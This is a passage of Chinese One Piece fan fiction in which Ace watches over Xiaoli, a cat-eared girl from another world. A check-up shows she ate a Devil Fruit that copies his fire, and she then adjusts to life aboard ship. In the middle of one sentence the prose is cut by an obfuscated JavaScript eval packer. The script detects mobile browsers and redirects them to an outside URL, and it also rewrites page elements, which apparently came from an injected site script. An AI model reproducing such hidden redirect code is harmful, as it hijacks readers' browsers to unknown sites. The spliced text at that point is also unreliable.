艾斯猛地直起身,脸上“腾”地一下红了个透,从脖子根一路烧到耳尖,连雀斑都仿佛要燃烧起来。他手忙脚乱地摆着手,语无伦次地试图解释:“没、没什么!我就……我就看看她睡得好不好!有没有踢被子!啊不是……我是说……” 那船员看着他慌张的样子,忍不住“噗嗤”笑出声,挤眉弄眼,拖长了语调:“哦——‘看看’啊——我懂,我懂!妹妹嘛,担心是正常的!”他善解人意地点点头,但眼里的调侃简直要溢出来,“不过马尔科队长可是特意交代了,要‘守规矩’哦!规矩~”他意味深长地拍了拍艾斯的肩膀,哼着小调,继续他的巡逻去了,留下艾斯一个人面红耳赤地站在原地。 经过这么一打岔,艾斯发现,自己那点残存的睡意是彻底跑光了。回房间?床上似乎也空落落的。 他看了看眼前紧闭的房门,又回头看了看自己房间的方向。犹豫了不到一秒,他做出了决定。 他直接在门边的地板上坐了下来,背靠着冰凉但坚实的墙壁,面朝着小狸房间的门。这样,他能离她近一点。如果她夜里有什么动静,或者做了噩梦,他一定能第一时间听到。 坐定之后,他透过走廊望向外面。 深夜的海面,是一种深邃到极致的墨蓝,平静得宛如一块巨大的、缓缓流动的黑色绸缎,倒映着漫天璀璨的星河。莫比迪克号这艘庞然大物,此刻也显得温柔而静谧,如同一位在星海摇篮中安眠的巨兽,随着海浪轻轻起伏。 艾斯望着这片他深爱着的、看过无数次却依然会为之震撼的星空与大海。但这一次,他心中的感受,与以往任何一次都不同。 不再是单纯的对自由和广阔的热爱,不再是燃烧的征服欲和出人头地的渴望,也不再是偶尔浮起的、关于身世的迷茫与空洞。 此刻充盈在他胸口的,是一种前所未有的、沉静的踏实感,一种温暖的感激,一种被填满的归属。 感谢那不可捉摸的命运,将他带到了那个冰冷又奇异的锈带世界,让他在最糟糕的时刻,遇见了那像野猫一样警惕又柔软的小狸。 更要感谢小狸——感谢她当初鼓起勇气,将濒死的他拖回那个充满药水味的小诊所;感谢她笨拙却真诚的照顾和收留;感谢她明明自己伤痕累累,却依然愿意对他付出信任和温暖。 而最最感谢的,是她此刻拥有的、令人难以置信的巨大勇气。她独自一人,穿越了未知而危险的世界壁垒,斩断了所有退路,只为了再一次来到他的身边。 从此以后,她不再是锈带深处独自舔舐伤口的野猫。 而他,也不再仅仅是白胡子海贼团二番队队长,不仅仅是“火拳”艾斯。 他是她的哥哥。是她跨越世界寻找到的火焰,是她的安心所在。 他有了新的、需要用心守护的家人。 海风从敞开的舱门溜进来,轻柔地拂过他黑色的短发,带来远方深海的凉意和星辰的气息。少年就这样安静地坐在少女的门外,背靠着墙,身影在昏暗的走廊里显得坚定而温柔。他嘴角噙着一抹满足而宁静的笑意,渐渐沉浸在这片属于家人、属于新生的、静谧而壮丽的星河之下。 20. 新生之火 第二天清晨,小狸是被一阵规律的、富有节奏感的敲击声从深沉的睡眠中唤醒的。 那声音不急不缓,“笃、笃、笃”,像是有人在不远处用硬物轻轻敲击着木头,带着一种奇特的韵律感,穿透了舱壁,渗入她的梦境。她迷迷糊糊地睁开眼,视野先是模糊一片,然后慢慢聚焦。 映入眼帘的,是完全陌生的木质天花板。纹理粗糙而坚实,深色的木料表面带着常年被海风侵蚀的痕迹,有几道细微的裂纹。天花板的形状不是平的,而是带着微微的弧度,随着某种平稳而持续的节奏,极轻微地、几乎难以察觉地摇晃着。几缕金色的晨光,从头顶一个圆形的小小舷窗斜射进来,在昏暗的空气中切割出几道斜斜的、浮动着微尘的光柱。 那一瞬间,一种冰锥般的、源自本能和过往经验的恐慌,猛地攫住了她的心脏,让她全身的肌肉瞬间绷紧。 这是哪里? 冰冷的天花板,规律的摇晃感,陌生的、带着淡淡咸腥和海腥味的空气……恐慌如同冰冷的潮水,即将将她淹没。 但下一秒,鼻尖萦绕的、无比熟悉的气息,将她从黑暗的想象边缘猛地拽了回来。 是火焰。是阳光。是那种如同晒过太阳的干燥木材燃烧时散发出的、温暖而令人安心的味道。这气息就萦绕在她脸颊旁,深深浸入她身下枕着的柔软布料里——那是艾斯的衬衫。 她正蜷缩在用他的衬衫筑成的小小巢穴中。 记忆如同退潮后重新显露的沙滩,清晰起来。宴会,星空,温暖的洗澡水……以及,她此刻身处的地方——莫比迪克号,艾斯的家,她的新家。 紧绷的身体骤然放松,甚至有些脱力。她深深地吸了一口气,将脸颊更深地埋进充满安心的气息里,尾巴尖无意识地、愉快地轻轻摆动了一下。 甲板上传来的声响逐渐清晰起来。那规律的敲击声,原来是船员们用木槌敲打、固定缆绳的声音;还有沉重的脚步声,物体拖拽的摩擦声,压低的交谈声和偶尔响起的爽朗大笑,以及远处海浪永不停歇的、富有韵律的哗哗声。 这艘巨大的海贼船,就像一头从沉睡中缓缓苏醒的钢铁与木质巨兽,其内部精密的“器官”早已开始了新一天的运转,发出低沉而充满生命力的轰鸣。 小狸又赖在温暖的“猫窝”里蜷了一会儿,才慢吞吞地爬起来,变回少女形态。身上穿着米娅姐姐给的、对她来说有些宽大的睡裙,赤脚踩在微凉但光滑的木质地板上。她走到舷窗边,踮起脚,朝外望去。 无边无际的蔚蓝。海天相接的地方,晨曦将云层染上淡淡的金红。巨大的白色船帆已经升起,在海风中鼓胀出饱满的弧度。一切都是陌生的,却又充满了某种蓬勃的、自由的生机。 她揉了揉眼睛,拉开房门,走进了同样开始活跃起来的走廊。空气里弥漫着早餐的香气——烤面包、煎肉、还有咖啡的醇厚味道。几个路过的船员看到她,都友善地笑着跟她打招呼:“早啊,小狸!”“睡得好吗?” 小狸有些害羞地点点头回应,脚步却下意识地加快,朝着通往主甲板的楼梯走去。陌生的环境让她像只刚踏入新领地的小猫,本能地、急切地想要先找到那个能让她完全安心的“锚点”——艾斯。 她的目光像最灵敏的雷达,快速扫过渐渐热闹起来的甲板。有人在擦拭甲板,有人在整理帆索,有人在搬运物资。然后,她的视线迅速锁定在了船头附近。 晨光正好从那个方向倾泻而来,为那个身影勾勒出一道耀眼的金色轮廓。艾斯正和几个身材魁梧的船员在一起,合力整理着一捆粗大的、浸过油的缆绳。他背对着她,微微弯着腰,手臂的肌肉随着用力的动作绷紧,展现出流畅而充满力量的线条。晨风吹乱了他黑色的短发,也吹动了他额前那几缕标志性的翘发。他似乎正在听旁边的船员说着什么笑话,侧过脸,露出一个毫无阴霾的、如同此刻阳光般灿烂的笑容,洁白的牙齿和脸上的雀斑在光线下显得格外生动。 看到他的一瞬间——看到他真实地、鲜活地在那里,和伙伴们一起,沐浴在晨光与海风里——小狸那颗因为陌生环境而微微悬起、有些惶惑不安的心,才像找到了归处的鸟儿,“咚”地一声,稳稳地、踏实地落回了胸膛里。 一种难以言喻的安心和暖意,从心底蔓延开来。 她头顶那对黑色的猫耳,仿佛感受到了主人心情的变化,愉快地、轻微地抖动了一下,耳尖转向艾斯的方向。 她迈开脚步,小跑着凑到艾斯身边,像过去无数次那样,自然而然地挨着他站定,几乎能感受到他身体散发出的、比常人更高的温热体温。 艾斯察觉到身边的动静,转过头来。看到是她,那双总是燃烧着火焰般活力的黑眸里,瞬间点亮了比晨光更温暖的笑意。 “醒啦?”他的声音带着刚干完活的轻微喘息,但充满了活力,“昨晚睡得好吗?” “嗯。”小狸仰头看着他,用力地点了点头。在他的目光注视下,一夜安眠带来的满足感和清晨的清新感交织在一起,让她感觉格外踏实。 艾斯的目光却在她脸上和身上停留了片刻,然后,他像是忽然想起了什么重要的事情,随手将缆绳递给旁边的船员,拍了拍手上的灰尘,表情变得认真了一些。 “睡得好就行。”他顿了顿,语气里带上了一点安抚的意味,“不过,待会儿马尔科要给你做个身体检查。” “检查”这个词,像是一枚细小的针,猝不及防地刺了小狸一下。 她的身体几不可察地僵硬了,尽管幅度极小,但一直关注着她的艾斯立刻捕捉到了那瞬间绷紧的肩膀线条和微微向后撇去的猫耳尖。蓝色的眼睛里,飞快地掠过一丝深藏的、几乎已经形成条件反射的警惕和不安。 “我,我自己也是医生,我很好,不用检查的……” 艾斯的心被那丝不安刺痛了。他立刻放下手里所有东西,弯下腰,让自己的视线与她平行,然后伸出手,温热而略带薄茧的掌心,带着十足的安抚意味,轻轻揉了揉她的头发。 “别担心,”他的声音放得很低,很柔,像在安抚一只受惊的小动物,语气笃定得不容置疑,“马尔科是船上最好的医生,他只是想确保你健康,有没有不适应这里的环境。和那些检查……完全不一样。” 他凝视着她的眼睛,一字一句地强调:“我保证。” 他的手掌温暖而有力,传递过来的不仅仅是体温,还有一种沉稳可靠的安全感。那笃定的语气,像最坚固的盾牌,挡开了那些来自冰冷记忆的侵袭。小狸看着他眼中毫无保留的真诚和守护之意,紧绷的身体一点点放松下来,肩膀重新垂下,尾巴尖也不再僵硬地卷曲。 她点了点头,声音小小的,但很清晰:“……嗯。” --- 马尔科的检查,确实和记忆中任何一次“检查”都截然不同。 没有冰冷刺眼的无影灯,没有闪烁着诡异光标的精密仪器,没有抽血,没有弥漫在空气中、令人作呕的刺鼻消毒水味,也没有穿着白大褂、面无表情、将一切生命体征都视为冰冷数据的研究员。 检查地点在莫比迪克号的医务室。这里与其说是病房,更像一个整洁、明亮、带着生活气息的小房间。窗户敞开着,带着咸味和海藻清新气息的海风自由地穿梭进来,轻柔地拂动着薄薄的白色窗帘。阳光毫无阻碍地洒进来,在地板上投下温暖的光斑,空气里漂浮着淡淡的、好闻的药草清香,混杂着一丝阳光晒过床单的干净味道。 马尔科本人也完全不像那些实验室里冷漠的“医生”。他依旧穿着那身随意的装扮,戴着眼镜,脖子上挂着一个简单的听诊器。他让艾斯留在房间里,然后请小狸在一张铺着柔软垫子的椅子上坐下。 他的动作专业而高效,但处处透着温和与尊重。他问了许多问题,但不再是冰冷的、关于“融合度”、“稳定性”、“数据”的盘问,而是关于她原来的世界是什么样的空气,平时吃什么,有没有生过病,感觉哪里不舒服,睡眠如何,以及穿越时和穿越后有没有任何异样感。他的语气更像是在聊天,而不是审问。 “基因嵌合体……真是不可思议的造物。”马尔科一边在笔记本上记录着数据,一边若有所思地低声自语。他的笔尖停顿了一下,抬起头,看向小狸,目光里没有猎奇或评判,只有纯粹的专业探究和一丝对生命多样性的感叹,“根据你的描述和我的初步检查,你的身体基础代谢率比普通人高出不少,细胞活性和自愈能力也异常突出……这大概是高基因融合度和猫科基因带来的特质。不过,” 他话锋一转,眉头微微蹙起,目光落在小狸过于纤细的手腕和苍白的脸色上,语气变得严肃了些:“营养严重不良,缺乏多种必需营养素,肌肉量不足,有些轻微贫血。这需要时间慢慢调理。” 他转向旁边一直竖着耳朵听、表情比小狸还紧张的艾斯,开始口述一份详细的食补清单:“高蛋白的肉类,尤其是红肉和鱼类,每天必须保证充足摄入;多种新鲜蔬菜水果,补充维生素和矿物质;蛋类和奶制品也不能少;还有,多晒太阳,适当活动,但初期不能剧烈运动yoi。” 艾斯像个最认真的学生,不知道从哪里摸出一个小本子和炭笔,飞快地记录着,嘴里还念念有词:“红肉……鱼……蔬菜……还有什么来着……晒太阳……”他握紧拳头,一副准备大干一场、势必要把小猫喂得油光水滑的架势。 检查接近尾声,气氛一直很平和。马尔科收起听诊器,随意地问了一句:“小狸,还有没有感觉身体哪里不舒服?尤其是昨天穿越之后,有没有感觉到什么……特别的变化?” 小狸刚想下意识地回答“没有”,但话到嘴边,又咽了回去。 因为一种从醒来后就一直隐隐约约萦绕着她的、难以言喻的奇怪感觉,此刻在马尔科专注的询问下,变得清晰了一些。 那不是疼痛,也不是具体的不适。更像是一种……“异物感”?仿佛身体内部某个原本运转流畅的精密齿轮组里,被悄悄塞进了一个小小的、形状不匹配的新零件。这个零件不影响整体运行,但每当身体活动、能量流转时,就会带来一丝极其微妙的“滞涩感”和“陌生感”。它潜伏在那里,安静,却不容忽视。 小狸微微蹙起了眉头,蓝色的猫瞳里浮现出困惑。她尝试更仔细地去感知那种感觉,但它又像滑溜的鱼儿,难以捉摸。 “怎么了?”艾斯几乎是立刻就察觉到了她表情的细微变化,立刻弯下腰,视线与她齐平,语气里充满了毫不掩饰的关切,“哪里不舒服吗?是不是昨天穿越的时候,撞到哪里了?还是空间震荡有内伤?” 一想到小狸可能在他看不见的地方受了伤,艾斯的神经立刻绷紧了。他一把抓住小狸单薄的肩膀,力道因为心急而没控制好,让小狸轻轻“咝”了一声。他浑然不觉,只是急切地上下打量她,仿佛要用目光将她全身扫描一遍。他甚至有些笨拙地捧起小狸的脸,凑近了仔细看她的脸色:“张嘴我看看?是不是内伤?喉咙痛不痛?脸色怎么好像比刚才更白了?”他的动作因为过度的担忧而显得慌乱,手指无意识地用力,把小狸的脸颊肉都挤得微微嘟了起来。 “疼疼疼……艾斯你轻点……”小狸被他晃得有点晕,脸颊也被他的手挤得变了形,含糊不清地抗议。 “笨蛋艾斯!快给我住手!你这是在检查什么啊?!拆零件吗?!”刚刚整理完器械走过来的马尔科看到这一幕,额角青筋直跳,忍无可忍地一个爆栗精准地敲在艾斯后脑勺上,发出清脆的“咚”一声,“给我闪开点!我才是船医yoi!” 艾斯吃痛地“嗷”了一声,委屈巴巴地捂住脑袋退到一边,嘴里还嘟囔着:“我这不是担心嘛……” 马尔科懒得理这个关心则乱的单细胞生物,转向小狸,语气重新恢复了专业和温和:“小狸,别理他。跟我说说,具体是什么感觉?哪里觉得不对劲?” 小狸揉了揉被艾斯捏得有点发红的脸颊,努力组织语言,描述那种模糊的感觉:“就是……身体里面,好像……多了点什么?不是东西,就是……一种感觉。动起来,或者安静下来感受的时候,会觉得有点……嗯……不一样了?好像有什么在……在很里面的地方……跟着动?”她越说越困惑,词汇贫乏让她无法准确表达,“我也说不好……就是很奇怪。” 马尔科静静地听着,眼镜后的眼神变得越发专注。他示意小狸放松,又进行了一些更细致的检查——更仔细地听了心跳和呼吸音,观察了她的瞳孔对光反应和舌苔颜色,甚至伸出手掌,掌心泛起一层极其柔和的青蓝色光晕,那是他利用不死鸟果实能力对生命气息的感知,轻轻笼罩在小狸身上。 片刻后,他收回手,眉头微微蹙起,露出了明显的疑惑:“奇怪……生命体征非常平稳,心跳有力,呼吸均匀,器官也没有任何异常的反馈yoi。”他沉吟着,手指无意识地敲击着桌面,“你说感觉身体里多了东西……是一种能量感?还是实质的异物感?能试着更具体地去感知它,甚至……尝试去‘调用’或者‘引导’它吗?” “调用?引导?”小狸茫然地重复着这两个陌生的词汇。她不太明白具体要怎么做,但马尔科的话似乎给了她一点方向。 她闭上眼睛,尝试摒除杂念,将所有的注意力都集中到体内那种微妙的“异物感”上。一开始很模糊,像黑暗中隐约的水流声。她努力集中精神,回想着那种“不一样”的感觉,试图顺着本能,去捕捉那一丝奇异的“滞涩”。 渐渐地,那感觉似乎清晰了一点。像是一小团极其微弱、但确实独立存在的……“暖流”?或者别的什么,蛰伏在她身体能量循环的某个节点附近。 引导它……去哪里呢? 几乎是下意识的,她想到了自己的指尖。那是最灵活、最容易感知的部位。 她想象着将那团微弱的“异样感”,顺着某种无形的通道,轻轻地、试探性地,推向自己右手的食指…… 下一秒。 在医务室并不算明亮的灯光下,在艾斯紧张注视的目光中,在马尔科骤然锐利的视线里,在门口几个好奇探头进来的船员倒吸冷气的声音中—— “噗。” 一声轻得几乎难以察觉的、如同烛芯被点燃的细微声响。 一小簇橘红色的、温暖而跃动的火苗,突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941747|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兀地、却又无比安静地,在岳小狸右手食指的指尖,燃烧了起来。 火苗不大,只有黄豆大小,焰心是明亮的橘黄色,边缘跃动着温暖的金红。它燃烧得异常稳定,没有烟,只是静静地释放着柔和的光和热,散发出一种与艾斯周身火焰同源、却更加微弱、更加稚嫩的气息。 空气,在这一刻,彻底凝固了。 医务室里落针可闻。只有窗外海风拂过帆布的声响,以及火苗自身燃烧时发出的、几乎听不见的细微“呼呼”声。 时间仿佛被拉长。每个人都睁大了眼睛,死死盯着那簇不可思议的、在少女指尖绽放的火焰。 “啊——!”小狸自己也吓了一跳,猛地睁开眼睛。当她看到自己指尖那簇安静燃烧的、熟悉又陌生的橘红色火苗时,蓝色的猫瞳瞬间瞪得溜圆,里面写满了极致的震惊和茫然。 “火!火!热……诶?不热?”她惊慌失措地甩动手指,想把那“可怕”的火苗甩掉,但火焰如同黏在她指尖一样,稳稳地燃烧着。预期的灼痛并没有传来,只有一种温热的、奇异的贴合感。 “这、这是……?!”艾斯的下巴真的快要掉到地上了,他像是见了鬼一样,眼睛瞪得比铜铃还大,目光死死锁在那簇小火苗上,然后又猛地转向马尔科,脸上混杂着震惊、难以置信和一丝荒谬感。 马尔科推了推眼镜,镜片在光线下闪过一道了然的、锐利的白光。他缓缓吐出一口气,声音带着一种“果然如此”的凝重和释然。 “原来如此yoi……”他低声说,目光复杂地看着小狸指尖的火焰,又看了看她茫然无措的小脸,“看来是恶魔果实的能力……觉醒了。” “恶魔果实?!”小狸和艾斯再次异口同声地惊呼,声音在安静的医务室里显得格外响亮。 “昨天宴会上……”马尔科提醒道,语气带着一丝无奈,“你是不是吃了什么奇怪的水果?味道非常、非常难吃,像是……所有糟糕味道混合在一起的那种。” 小狸的思绪被拉回那个喧嚣的夜晚。记忆翻涌,她立刻想起了那个被埋在水果堆里、有着诡异紫色漩涡纹路的果子,以及咬下第一口时那堪称精神攻击的恐怖味道。她的小脸立刻皱成了一团,仿佛又尝到了那可怕的味道,尾巴都不适地甩动了一下。 “是、是有一个……”她心有余悸地说,“紫色的,花纹很怪,看起来有点像……我原来世界的一些变异植物。我就好奇咬了一口,太难吃了!后来萨奇就把它扔了……” “没错,那就是恶魔果实。”马尔科听到恶魔果实居然被一群醉汉如此儿戏地混在水果拼盘里,还被咬了一口就扔掉,不禁头疼地扶额。现在去追究是哪个粗心大意的蠢货把打捞到的未知果实随手混了进去已经没有意义。他只能肯定地点头,开始向显然对此一无所知的小狸解释这个世界的常识。 “恶魔果实,是被称为‘海上秘宝’的特殊果实。吃下后可以获得某种超能力,就像我的不死鸟形态,艾斯的火焰。”他指了指小狸指尖依旧在燃烧的火苗,“你吃下的,看来是一种可以复制或模拟他人能力的果实。但与此同时,食用者也会被大海诅咒,变成‘旱鸭子’,一旦身体大部分浸入海水,就会浑身无力,无法游泳,甚至可能溺水yoi。” 随着马尔科的讲解,那些在昨晚宴会上因为兴奋和酒精而被忽略的碎片信息,开始拼凑起来。艾斯猛地一拍额头,恍然大悟!他想起昨天确实看到小狸拿着个紫色果子皱眉,萨奇随手扔了,自己还递了果汁给她!原来……原来小狸在完全不知情的情况下,竟然误食了恶魔果实!而且,获得的能力似乎与火焰有关,是……复制了他的能力? 震惊过后,一股强烈的后怕和责任感猛地攫住了艾斯的心。他立刻再次上前,这次小心地控制着力道,双手抓住小狸的肩膀,弯下腰,让自己的视线与她牢牢相对,语气是从未有过的严肃和郑重: “小狸!你听好了!以后绝对、绝对不能再随便靠近船边,更不能掉进海里!听到没有?!如果看到海水漫上来,或者感觉到浑身无力,一定要立刻大声呼救!这非常、非常危险!明白吗?!”他的黑眸里闪烁着不容置疑的认真,甚至有一丝因为想象到危险画面而产生的恐慌。 小狸被他过于严肃的表情和语气吓到了,肩膀缩了缩,连忙用力点头,声音都有些发紧:“知、知道了!我记住了!” 接着,马尔科和闻讯聚拢过来的其他船员,七嘴八舌地开始给她科普这个世界的更多常识——伟大航路,海军,海贼,各种奇怪的岛屿和生物,以及恶魔果实千奇百怪的能力和弱点。小狸听得似懂非懂,但一个全新的、光怪陆离又危机四伏的世界图景,正在她脑海中缓缓展开。 原来,这片看似美丽平静的大海,隐藏着那么多无法想象的危险和奇迹;原来,艾斯他们平时的生活,就是这样在冒险与战斗、欢笑与危机中穿梭。 而她自己,在懵懂之中,已经成为了这个世界规则的一部分——一个能力者。 她低头,怔怔地看着自己指尖那簇依旧在安静燃烧的、属于她自己的、微弱却真实存在的橘红色火苗。它不像艾斯的火焰那样炽热磅礴,充满毁灭性的力量,更像是一缕刚刚点燃的、小心翼翼的、新生的火种。 感受着体内那股需要高度集中精神才能勉强调动、并且似乎消耗不小的微弱力量,再回想起来到这个世界后经历的一切,以及昨天宴会上大家谈及海上冒险时那种稀松平常却又暗藏危机的态度,小狸的心,慢慢地沉静下来。 初来乍到的茫然和新奇,被一种更为实际的认知取代。这个世界,美丽而自由,却也遵循着它自己残酷而神奇的法则。她需要学习,需要适应,需要……掌控这份意外获得的力量。 就在这时,那簇小火苗似乎因为她的心绪波动,微微晃动了一下。 小狸猛地从思绪中惊醒,这才意识到一个非常实际的问题。她抬起头,蓝色的猫瞳看向艾斯,里面盛满了纯粹的无助和困惑,像一只弄丢了线团的小猫。她举起那根燃烧着火焰的手指,小心翼翼地问,声音里带着点不知所措的软糯: “艾斯……” “所以,这个……” 她眼巴巴地望着他,尾巴不安地轻轻摆动。 “……要怎么熄灭呀?” 指尖的火苗,仿佛感应到主人的茫然,无辜地、持续地散发着温暖的光芒,映亮了她微微蹙起的眉头和那双写满“怎么办”的清澈眼睛。 艾斯看着那簇小小的火焰,又看看小狸那副全然信赖、等待他解答的懵懂模样,刚才的严肃和紧张忽然被一种奇异的、混合着好笑、温暖和责任感的情緒取代。 他伸出手,没有直接去触碰那火焰,而是轻轻握住了小狸那只燃烧着的手的手腕。他的手掌温热,带着令人安心的力量。 “别怕,这个时候果然还是要靠我呀!”他笑了,笑容里带着哥哥式的可靠和一点点恶作剧得逞般的狡黠 他另一只手的指尖,燃起了一簇更小、更温顺的橘红色火苗,与小狸指尖的那一簇,轻轻碰在了一起,两团火焰融合在一起,密不可分。 “我教你。” 21. 爪牙与心火 几天时间,像指缝间流过的温热细沙,在莫比迪克号规律的航行与充满烟火气的日常中悄然逝去。小狸渐渐褪去了最初的陌生与惶惑,如同慢慢舒展叶片的植物,开始尝试着将根系扎进这片全新的、充满阳光与海风的土壤。 船员们对她的好奇并未减退,但悉数化为了质朴而直接的友善。这份友善没有小心翼翼的试探,更像是将她理所当然地纳入了“自家孩子”的范畴。 萨奇的投喂行动升级为了每日定点、不定花样的“填鸭式”关爱。从清晨香浓的奶油炖菜配烤得焦脆的面包片,到中午堆成小山的、淋着特制酱汁的烤肉排,再到下午茶时分精心烤制的、做成小鱼或猫爪形状的香甜饼干,以及晚餐时令她眼花缭乱的海鲜盛宴。厨师长的目标明确且执着:把这只瘦弱的小猫喂得圆润健康,最好能捏到软乎乎的腮帮子肉。小狸的食量在以肉眼可见的速度增长,虽然离“圆润”还有距离,但苍白脸颊上终于泛起了一丝淡淡的、健康的红晕。 以藏的关怀则体现在另一种细腻处。他会招招手让小狸过去,指着自己珍藏的各种布料——光滑的丝绸、柔软的棉麻、坚韧的帆布——教她辨认材质,讲解不同的用途。偶尔兴致来了,还会手把手教她一些简单的缝纫技巧,比如如何将衣服修改得合身些,或者如何缝制一个结实的小背包。“女孩子总要会点这些,”以藏语气温和,手上穿针引线的动作却稳如磐石,“不是为了取悦谁,是为了自己方便。” 就连豪迈的剑豪比斯塔也曾捻着他的八字胡,兴致勃勃地提议:“小狸!要不要跟我学两招?女孩子用剑,可是很优雅又厉害的!” 结果被路过的艾斯哭笑不得地一把拦下:“比斯塔!你别闹了!她还是先学会在船上正常走路,别被晃倒或者被缆绳绊倒再说吧!你没看见她昨天在甲板上差点摔了三次吗?” 艾斯的吐槽引来周围一阵善意的哄笑,小狸则不好意思地低下头,耳朵尖红了——昨天她确实光顾着看飞过的海鸟,差点一脚踩进缆绳圈里。 然而,所有船员中,反应最奇特、也最直白的,莫过于山猫柯达兹。 这只体型巨大、平时总是一副慵懒大佬模样的大山猫,从初次嗅到小狸身上那缕极其稀薄、却又真实存在的同源气息起,就陷入了持久的困惑。它不再满足于趴在远处观察,开始充满探究欲地、不远不近地绕着小狸转悠,硕大的脑袋时不时凑近,灰绿色的瞳孔里写满了不加掩饰的疑问,喉咙里发出低沉而疑惑的呼噜声,翻译过来大概是:“喵——(你是什么东西?长得像两脚兽,味道又有点怪怪的像猫?)” 小狸则是头一次在现实中见到活生生的猫科动物。面对柯达兹这只比小黑猫大了好几倍、毛茸茸、热烘烘、眼神犀利的“同类”,她完全不知所措。当柯达兹第一次凑近,用湿润冰凉的鼻尖好奇地嗅闻她的手指和裙角时,小狸整个身体都僵成了木头桩子,尾巴直挺挺地竖着,动也不敢动,连呼吸都屏住了。 恰好路过的护士姐姐看到这一幕,以为小狸被“凶猛”的大山猫吓住了,立刻母爱泛滥,一个箭步冲上来,展示了惊人的臂力,不由分说地将暖烘烘、沉甸甸的柯达兹一把抱开。“不用怕啊,小狸,”护士姐姐温柔地安慰,“柯达兹很温驯的,它就是好奇,不会伤害你的。” 小狸和被迫“分离”的柯达兹四目相对。小狸的眼神里是“有苦说不出”的茫然——她不是害怕,只是不知道该怎么和真正的猫交流!柯达兹的眼神则更加直接,带着点被突然抱走的不爽,以及对小狸“呆愣无反应”的鄙视——这家伙,怎么连基本的猫科社交礼仪都不懂?真没礼貌! 不过,这个小小的“误会”并没有持续多久。猫科动物之间的沟通,有时候并不需要复杂的语言。当天下午,甲板阳光最好的角落,就出现了这样一幕:通体漆黑的小猫不知何时已经蜷缩在了大山猫热乎乎、毛茸茸的肚子底下,两只猫依偎在一起,共享着阳光与宁静。柯达兹偶尔会伸出带着倒刺的大舌头,舔舔小黑猫的脑袋,喉间发出低沉的、教导般的呼噜声,仿佛在传授某种祖传的猫生智慧。而小黑猫则时不时用她的小爪子,尝试性地在柯达兹柔软的腹部皮毛上踩一踩,学习着如何用“踩奶”表达舒适和亲近;或者,在柯达兹用尾巴尖懒洋洋地、看似随意地绊了某个路过的船员一下,引得对方一个趔趄后,小黑猫也有样学样,伸出小爪子试图去勾另一人的鞋带,然后两只猫分别被哭笑不得的船员揪住后颈皮进行了一番“友善教育”,小黑猫被轻轻提起,柯达兹被象征性地拍了拍脑袋。 艾斯看到柯达兹那仿佛在说“看,我教得好吧”的挑衅眼神,非常果断地告诉正玩得不亦乐乎的小狸:“也不是什么都要跟柯达兹学的,知道吗?尤其是‘手欠’这项技能。” 小狸自己倒是很满意,变回人形后,还特意对着水面练习了几声“喵呜”,然后得意地冲着艾斯扬起小脸:“嘿嘿,我‘喵’得还是蛮标准的嘛!” 艾斯看着她亮晶晶的蓝眼睛和翘起的尾巴尖,只能扶额失笑。 确实,小狸身上那些属于猫科动物的“习性”,在这艘完全陌生的船上闹出了不少令人捧腹的笑话。她会无意识地用指甲去勾住桌布边缘、窗帘流苏,或者艾斯衣服上的线头;会对在风中猎猎作响的船旗、晃动的缆绳末端产生极大的好奇心,盯着看很久,尾巴尖随之轻轻摆动;偶尔甚至会被自己突然因受惊或兴奋而炸起的尾巴吓一跳,整个人(猫)猛地蹦起来,茫然四顾寻找“威胁源”。但她学习的速度同样惊人。她像一块干燥的海绵,默默观察着船员们如何在晃动的甲板上稳健行走,如何避开危险的区域,如何与各种船上设施打交道,然后一点点笨拙却认真地模仿、尝试,努力让自己融入这艘巨船的节奏。 一天下午,海面平静,阳光和煦。完成了马尔科规定的轻度活动后,小狸独自在甲板一处背风的角落晒太阳。温暖的阳光如同最柔软的天鹅绒毯子,包裹着她,让她昏昏欲睡。她变回小黑猫形态,轻盈地跳上艾斯平时最爱靠着休息的那堆缆绳,找了个舒服的凹陷处,将自己团成一个小毛球,尾巴绕到鼻尖,准备打个惬意的盹儿。 半梦半醒间,敏感的猫耳捕捉到了从不远处传来的、刻意压低的闲聊声。是几个正在休息的船员。 “所以艾斯队长是真把那异世界来的小姑娘当亲妹妹养了啊?看得可真紧。” “可不是嘛,捧在手里怕摔了,含在嘴里怕化了。不过那孩子也是真招人疼,安安静静的,就是太瘦了,看着让人揪心。” “话说回来,你们注意到没?她有时候会一个人盯着某个地方,眼神直勾勾的,能看好久,也不说话……那样子,啧,有点吓人。” “唉,毕竟是从那种……你听艾斯说的,叫什么‘末世’来的世界。肯定见过不少糟心事吧。有点不一样也正常。” 小狸的耳朵几不可察地动了动,但没有睁开眼睛,甚至将呼吸放得更轻缓。她知道他们在说她。那些话语里,有关切,有同情,但同样清晰的,是那份“不一样”的认知,以及随之而来的、淡淡的隔阂与困惑。 她确实不一样。无论她如何努力适应,如何学习他们的言行,她骨子里那份来自实验室的冰冷烙印,来自锈带的生存警觉,来自基因深处的非人特性,都注定了她永远不可能和这里的人们“完全一样”。这个认知像一颗微小的石子,投入她逐渐被温暖浸润的心湖,漾开一圈细微却无法忽视的沉闷涟漪。 就在这时,一阵诱人至极的甜香混合着奶油的醇厚气息,如同无形的小钩子,精准地穿越空气,抓住了小狸所有的注意力——是萨奇又在烤制他的秘制点心了!小狸的鼻子不由自主地翕动了好几下,肚子十分配合地发出“咕噜”一声轻响,瞬间将刚才那点小郁闷冲散了大半。 她轻盈地跳下缆绳,变回人形,拍了拍裙子上并不存在的灰尘,循着那勾魂夺魄的香气,朝着厨房方向走去。 经过船尾附近那处被划作训练区的甲板时,一阵激烈的金属碰撞声和火焰爆鸣声让她停下了脚步。她下意识地躲到一根粗大的桅杆后面,探出半个脑袋,悄悄望了过去。 是艾斯,正在和花剑比斯塔进行对战练习。 眼前的艾斯,仿佛变了一个人。 不再是那个会笨手笨脚试图给她缝补衣服、会因为她说疼而慌张失措、会笑得没心没肺如同大男孩的哥哥。此刻的他,是一团燃烧的、炽烈的、充满狂野生命力的火焰! 